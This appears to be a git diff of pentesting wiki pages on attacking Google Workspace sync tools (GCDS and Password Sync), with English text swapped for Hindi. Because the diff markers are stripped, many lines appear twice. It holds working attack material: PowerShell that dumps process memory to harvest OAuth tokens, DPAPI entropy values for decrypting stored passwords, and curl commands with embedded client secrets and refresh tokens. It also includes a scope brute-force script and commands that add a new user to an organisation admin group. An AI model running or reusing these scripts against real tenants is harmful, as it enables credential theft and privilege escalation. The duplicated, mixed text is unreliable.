)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
```
</details>
### GCDS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
### GCDS - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना
रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
```
### GCDS - Scopes
> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, एक्सेस टोकन के लिए किसी भी स्कोप का अनुरोध करना संभव नहीं है क्योंकि आप केवल उन **स्कोप का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**
>
> Also, the refresh token is not valid in every application.
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
By default GCSD won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
डिफ़ॉल्ट रूप से GCSD के पास उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
<details>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
@@ -287,11 +278,9 @@ echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>
And this is the output I got at the time of the writing:
और यह वह आउटपुट है जो मुझे लेखन के समय मिला:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
@@ -302,43 +291,36 @@ https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
```
#### Create a user and add it into the group `gcp-organization-admins` to try to escalate in GCP
#### एक उपयोगकर्ता बनाएं और उसे समूह `gcp-organization-admins` में जोड़ें ताकि GCP में वृद्धि करने की कोशिश की जा सके
```bash
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
```
> [!CAUTION]
> It's not possible to give the new user the Super Amin role because the **refresh token doesn't have enough scopes** to give the required privileges.
> नए उपयोगकर्ता को सुपर एडमिन भूमिका देना संभव नहीं है क्योंकि **रीफ्रेश टोकन में आवश्यक विशेषाधिकार देने के लिए पर्याप्त स्कोप नहीं हैं**।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,55 +4,54 @@
## Basic Information
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
यह वह बाइनरी और सेवा है जो Google उपयोगकर्ताओं के पासवर्ड को **AD** और Workspace के बीच **सिंक** में रखने के लिए प्रदान करता है। हर बार जब एक उपयोगकर्ता AD में अपना पासवर्ड बदलता है, तो इसे Google पर सेट किया जाता है।
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
यह `C:\Program Files\Google\Password Sync` में स्थापित होता है जहाँ आप इसे कॉन्फ़िगर करने के लिए बाइनरी `PasswordSync.exe` और `password_sync_service.exe` (सेवा जो चलती रहेगी) पा सकते हैं।
### GPS - Configuration
To configure this binary (and service), it's needed to **give it access to a Super Admin principal in Workspace**:
इस बाइनरी (और सेवा) को कॉन्फ़िगर करने के लिए, इसे **Workspace में एक सुपर एडमिन प्रिंसिपल तक पहुंच देना आवश्यक है**:
- Login via **OAuth** with Google and then it'll **store a token in the registry (encrypted)**
- Only available in Domain Controllers with GUI
- Giving some **Service Account credentials from GCP** (json file) with permissions to **manage the Workspace users**
- Very bad idea as those credentials never expired and could be misused
- Very bad idea give a SA access over workspace as the SA could get compromised in GCP and it'll possible to pivot to Workspace
- Google require it for domain controlled without GUI
- These creds are also stored in the registry
- Google के साथ **OAuth** के माध्यम से लॉगिन करें और फिर यह **रजिस्ट्री में एक टोकन (एन्क्रिप्टेड) स्टोर करेगा**
- केवल GUI के साथ डोमेन कंट्रोलर्स में उपलब्ध
- **Workspace उपयोगकर्ताओं** को प्रबंधित करने के लिए **GCP** से कुछ **Service Account क्रेडेंशियल्स** (json फ़ाइल) देना
- यह बहुत बुरा विचार है क्योंकि ये क्रेडेंशियल्स कभी समाप्त नहीं होते और इसका दुरुपयोग किया जा सकता है
- Workspace पर SA को एक्सेस देना बहुत बुरा विचार है क्योंकि SA GCP में समझौता किया जा सकता है और Workspace पर पिवट करना संभव होगा
- Google इसे GUI के बिना डोमेन नियंत्रित करने के लिए आवश्यक करता है
- ये क्रेडेंशियल्स भी रजिस्ट्री में स्टोर होते हैं
Regarding AD, it's possible to indicate it to use the current **applications context, anonymous or some specific credentials**. If the credentials option is selected, the **username** is stored inside a file in the **disk** and the **password** is **encrypted** and stored in the **registry**.
AD के संबंध में, इसे वर्तमान **एप्लिकेशन संदर्भ, गुमनाम या कुछ विशिष्ट क्रेडेंशियल्स** का उपयोग करने के लिए इंगित करना संभव है। यदि क्रेडेंशियल्स विकल्प चुना गया है, तो **उपयोगकर्ता नाम** एक फ़ाइल में **डिस्क** के अंदर स्टोर किया जाता है और **पासवर्ड** **एन्क्रिप्टेड** होता है और **रजिस्ट्री** में स्टोर किया जाता है।
### GPS - Dumping password and token from disk
> [!TIP]
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even decrypt the password and token**.
> ध्यान दें कि [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) **GPS** का पता लगाने, कॉन्फ़िगरेशन के बारे में जानकारी प्राप्त करने और **यहां तक कि पासवर्ड और टोकन को डिक्रिप्ट करने** में सक्षम है।
In the file **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** it's possible to find part of the configuration like the **`baseDN`** of the AD configured and the **`username`** whose credentials are being used.
फ़ाइल **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** में AD के कॉन्फ़िगर किए गए **`baseDN`** और जिनके क्रेडेंशियल्स का उपयोग किया जा रहा है, उस **`username`** का एक भाग पाया जा सकता है।
In the registry **`HKLM\Software\Google\Google Apps Password Sync`** it's possible to find the **encrypted refresh token** and the **encrypted password** for the AD user (if any). Moreover, if instead of an token, some **SA credentials** are used, it's also possible to find those encrypted in that registry address. The **values** inside this registry are only **accessible** by **Administrators**.
रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** में **एन्क्रिप्टेड रिफ्रेश टोकन** और AD उपयोगकर्ता के लिए **एन्क्रिप्टेड पासवर्ड** (यदि कोई हो) पाया जा सकता है। इसके अलावा, यदि टोकन के बजाय कुछ **SA क्रेडेंशियल्स** का उपयोग किया जाता है, तो उन एन्क्रिप्टेड को भी उस रजिस्ट्री पते पर पाया जा सकता है। इस रजिस्ट्री के अंदर **मान** केवल **प्रशासकों** द्वारा **एक्सेस** किए जा सकते हैं।
The encrypted **password** (if any) is inside the key **`ADPassword`** and is encrypted using **`CryptProtectData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
एन्क्रिप्टेड **पासवर्ड** (यदि कोई हो) कुंजी **`ADPassword`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
The encrypted token (if any) is inside the key **`AuthToken`** and is encrypted using **`CryptProtecData`** API. To decrypt it, you need to be the same user as the one that configured the password sync and use this **entropy** when using the **`CryptUnprotectData`**: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
Moreover, it's also encoded using base32hex with the dictionary **`0123456789abcdefghijklmnopqrstv`**.
एन्क्रिप्टेड टोकन (यदि कोई हो) कुंजी **`AuthToken`** के अंदर है और इसे **`CryptProtectData`** API का उपयोग करके एन्क्रिप्ट किया गया है। इसे डिक्रिप्ट करने के लिए, आपको उसी उपयोगकर्ता होना चाहिए जिसने पासवर्ड सिंक को कॉन्फ़िगर किया था और **`CryptUnprotectData`** का उपयोग करते समय इस **entropy** का उपयोग करना चाहिए: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
इसके अलावा, इसे **`0123456789abcdefghijklmnopqrstv`** शब्दकोश के साथ base32hex में भी एन्कोड किया गया है।
The entropy values were found by using the tool . It was configured to monitor the calls to **`CryptUnprotectData`** and **`CryptProtectData`** and then the tool was used to launch and monitor `PasswordSync.exe` which will decrypt the configured password and auth token at the beginning and the tool will **show the values for the entropy used** in both cases:
एंट्रॉपी मानों को टूल का उपयोग करके पाया गया। इसे **`CryptUnprotectData`** और **`CryptProtectData`** के लिए कॉल की निगरानी करने के लिए कॉन्फ़िगर किया गया था और फिर टूल का उपयोग `PasswordSync.exe` को लॉन्च और मॉनिटर करने के लिए किया गया जो कॉन्फ़िगर किए गए पासवर्ड और ऑथ टोकन को शुरू में डिक्रिप्ट करेगा और टूल **दोनों मामलों में उपयोग की गई एंट्रॉपी के लिए मान** दिखाएगा:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
Note that it's also possible to see the **decrypted** values in the input or output of the calls to these APIs also (in case at some point Winpeas stop working).
ध्यान दें कि इन APIs के लिए कॉल के इनपुट या आउटपुट में **डिक्रिप्टेड** मानों को भी देखना संभव है (यदि किसी बिंदु पर Winpeas काम करना बंद कर दे)।
In case the Password Sync was **configured with SA credentials**, it will also be stored in keys inside the registry **`HKLM\Software\Google\Google Apps Password Sync`**.
यदि पासवर्ड सिंक **SA क्रेडेंशियल्स** के साथ कॉन्फ़िगर किया गया था, तो यह रजिस्ट्री **`HKLM\Software\Google\Google Apps Password Sync`** के अंदर कुंजियों में भी स्टोर किया जाएगा।
### GPS - Dumping tokens from memory
Just like with GCPW, it's possible to dump the memory of the process of the `PasswordSync.exe` and the `password_sync_service.exe` processes and you will be able to find refresh and access tokens (if they have been generated already).\
I guess you could also find the AD configured credentials.
GCPW की तरह, `PasswordSync.exe` और `password_sync_service.exe` प्रक्रियाओं की मेमोरी को डंप करना संभव है और आप रिफ्रेश और एक्सेस टोकन (यदि पहले से उत्पन्न हो चुके हैं) पा सकेंगे।\
मुझे लगता है कि आप AD कॉन्फ़िगर किए गए क्रेडेंशियल्स भी पा सकते हैं।
<details>
<summary>Dump <code>PasswordSync.exe</code> and the <code>password_sync_service.exe</code> processes and search tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
@@ -61,8 +60,8 @@ $dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Show EULA if it wasn't accepted yet for strings
@@ -70,7 +69,7 @@ $stringsPath
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
@@ -79,94 +78,90 @@ $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
Write-Output ""
}
}
```
</details>
### GPS - Generating access tokens from refresh tokens
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
### GPS - रिफ्रेश टोकन से एक्सेस टोकन उत्पन्न करना
रिफ्रेश टोकन का उपयोग करके, इसे और निम्नलिखित कमांड में निर्दिष्ट क्लाइंट आईडी और क्लाइंट सीक्रेट का उपयोग करके एक्सेस टोकन उत्पन्न करना संभव है:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
```
### GPS - Scopes
> [!NOTE]
> Note that even having a refresh token, it's not possible to request any scope for the access token as you can only requests the **scopes supported by the application where you are generating the access token**.
> ध्यान दें कि रिफ्रेश टोकन होने के बावजूद, आप एक्सेस टोकन के लिए कोई भी स्कोप अनुरोध नहीं कर सकते क्योंकि आप केवल उन **स्कोप्स का अनुरोध कर सकते हैं जो उस एप्लिकेशन द्वारा समर्थित हैं जहां आप एक्सेस टोकन उत्पन्न कर रहे हैं**
>
> Also, the refresh token is not valid in every application.
> इसके अलावा, रिफ्रेश टोकन हर एप्लिकेशन में मान्य नहीं है।
By default GPS won't have access as the user to every possible OAuth scope, so using the following script we can find the scopes that can be used with the `refresh_token` to generate an `access_token`:
डिफ़ॉल्ट रूप से GPS उपयोगकर्ता के रूप में हर संभावित OAuth स्कोप तक पहुंच नहीं होगी, इसलिए निम्नलिखित स्क्रिप्ट का उपयोग करके हम उन स्कोप्स को खोज सकते हैं जिन्हें `refresh_token` के साथ `access_token` उत्पन्न करने के लिए उपयोग किया जा सकता है:
<details>
<summary>Bash script to brute-force scopes</summary>
```bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
@@ -175,22 +170,15 @@ echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
```
</details>
And this is the output I got at the time of the writing:
और यह वह आउटपुट है जो मुझे लेखन के समय मिला:
```
https://www.googleapis.com/auth/admin.directory.user
```
Which is the same one you get if you don't indicate any scope.
जो वही है जो आपको मिलता है यदि आप कोई दायरा नहीं बताते हैं।
> [!CAUTION]
> With this scope you could **modify the password of a existing user to escalate privileges**.
> इस दायरे के साथ आप **एक मौजूदा उपयोगकर्ता का पासवर्ड संशोधित कर सकते हैं ताकि विशेषाधिकार बढ़ सके**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,58 +4,54 @@
## Basic Information
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
इस तरीके से उपयोगकर्ताओं को GCDS के साथ समन्वयित करने का मुख्य अंतर यह है कि GCDS कुछ बाइनरी के साथ मैन्युअल रूप से किया जाता है जिसे आपको डाउनलोड और चलाना होता है जबकि **Admin Directory Sync सर्वर रहित** है जिसे Google द्वारा प्रबंधित किया जाता है [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories) पर।
At the moment of this writing this service is in beta and it supports 2 types of synchronization: From **Active Directory** and from **Azure Entra ID:**
इस लेखन के समय यह सेवा बीटा में है और यह 2 प्रकार के समन्वय का समर्थन करती है: **Active Directory** से और **Azure Entra ID** से:
- **Active Directory:** In order to set this up you need to give **access to Google to you Active Directory environment**. And as Google only has access to GCP networks (via **VPC connectors**) you need to create a connector and then make your AD available from that connector by having it in VMs in the GCP network or using Cloud VPN or Cloud Interconnect. Then, you also need to provide **credentials** of an account with read access over the directory and **certificate** to contact via **LDAPS**.
- **Azure Entra ID:** To configure this it's just needed to **login in Azure with a user with read access** over the Entra ID subscription in a pop-up showed by Google, and Google will keep the token with read access over Entra ID.
- **Active Directory:** इसे सेट करने के लिए आपको **Google को आपके Active Directory वातावरण तक पहुंच प्रदान करनी होगी**। और चूंकि Google केवल GCP नेटवर्क (द्वारा **VPC कनेक्टर्स**) तक पहुंच रखता है, आपको एक कनेक्टर बनाना होगा और फिर उस कनेक्टर से अपने AD को उपलब्ध कराना होगा, या तो GCP नेटवर्क में VMs में रखकर या Cloud VPN या Cloud Interconnect का उपयोग करके। फिर, आपको **पढ़ने की पहुंच** वाले एक खाते के **क्रेडेंशियल्स** और **सर्टिफिकेट** प्रदान करने की आवश्यकता होगी ताकि **LDAPS** के माध्यम से संपर्क किया जा सके।
- **Azure Entra ID:** इसे कॉन्फ़िगर करने के लिए बस **Azure में एक उपयोगकर्ता के साथ लॉगिन करना आवश्यक है** जिसके पास Entra ID सब्सक्रिप्शन पर पढ़ने की पहुंच है, जो Google द्वारा प्रदर्शित एक पॉप-अप में होगा, और Google पढ़ने की पहुंच के साथ टोकन रखेगा।
Once correctly configured, both options will allow to **synchronize users and groups to Workspace**, but it won't allow to configure users and groups from Workspace to AD or EntraID.
एक बार सही तरीके से कॉन्फ़िगर होने के बाद, दोनों विकल्प **Workspace में उपयोगकर्ताओं और समूहों को समन्वयित करने** की अनुमति देंगे, लेकिन यह Workspace से AD या EntraID में उपयोगकर्ताओं और समूहों को कॉन्फ़िगर करने की अनुमति नहीं देगा।
Other options that it will allow during this synchronization are:
इस समन्वय के दौरान यह अन्य विकल्पों की अनुमति देगा:
- Send an email to the new users to log-in
- Automatically change their email address to the one used by Workspace. So if Workspace is using `@hacktricks.xyz` and EntraID users use `@carloshacktricks.onmicrosoft.com`, `@hacktricks.xyz` will be used for the users created in the account.
- Select the **groups containing the users** that will be synced.
- Select to **groups** to synchronize and create in Workspace (or indicate to synchronize all groups).
- नए उपयोगकर्ताओं को लॉगिन करने के लिए एक ईमेल भेजें
- स्वचालित रूप से उनके ईमेल पते को Workspace द्वारा उपयोग किए जाने वाले पते में बदलें। इसलिए यदि Workspace `@hacktricks.xyz` का उपयोग कर रहा है और EntraID उपयोगकर्ता `@carloshacktricks.onmicrosoft.com` का उपयोग करते हैं, तो `@hacktricks.xyz` उन उपयोगकर्ताओं के लिए उपयोग किया जाएगा जो खाते में बनाए गए हैं।
- उन **समूहों का चयन करें जिनमें उपयोगकर्ता** समन्वयित होंगे।
- Workspace में समन्वयित और बनाने के लिए **समूहों** का चयन करें (या सभी समूहों को समन्वयित करने का संकेत दें)।
### From AD/EntraID -> Google Workspace (& GCP)
